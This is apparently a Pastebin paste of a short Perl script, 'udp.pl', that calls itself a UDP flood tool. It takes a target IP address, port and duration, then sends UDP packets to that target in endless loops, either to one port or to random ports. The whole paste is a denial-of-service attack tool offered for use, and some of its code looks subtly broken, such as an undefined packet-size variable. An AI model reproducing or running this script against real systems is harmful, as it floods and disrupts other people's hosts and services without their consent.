Advertisement
wtfbbq

udp.pl

May 11th, 2015
2,911
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.92 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use Socket;
  5.  
  6. $ARGC=@ARGV;
  7.  
  8. if ($ARGC !=3) {
  9.  printf "To initiate UDP Flood\n";
  10.  printf "perl $0 ip port time\n";
  11.  exit(1);
  12. }
  13.  
  14. my ($ip,$port,$size,$time);
  15.  $ip=$ARGV[0];
  16.  $port=$ARGV[1];
  17.  $time=$ARGV[2];
  18.  
  19. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  20.     $iaddr = inet_aton("$ip");
  21.  
  22. printf "~UDP Flooding~ $ip on port $port\n";
  23.  
  24. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  25.  goto randpackets;
  26. }
  27. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  28.  system("(sleep $time;killall -9 udp) &");
  29.  goto packets;
  30. }
  31. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  32.  goto packets;
  33. }
  34. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  35.  system("(sleep $time;killall -9 udp) &");
  36.  goto randpackets;
  37. }
  38.  
  39. packets:
  40. for (;;) {
  41.  $size=$rand x $rand x $rand;
  42.  send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  43. }
  44.  
  45. randpackets:
  46. for (;;) {
  47.  $size=$rand x $rand x $rand;
  48.  $port=int(rand 65000) +1;
  49.  send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  50. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement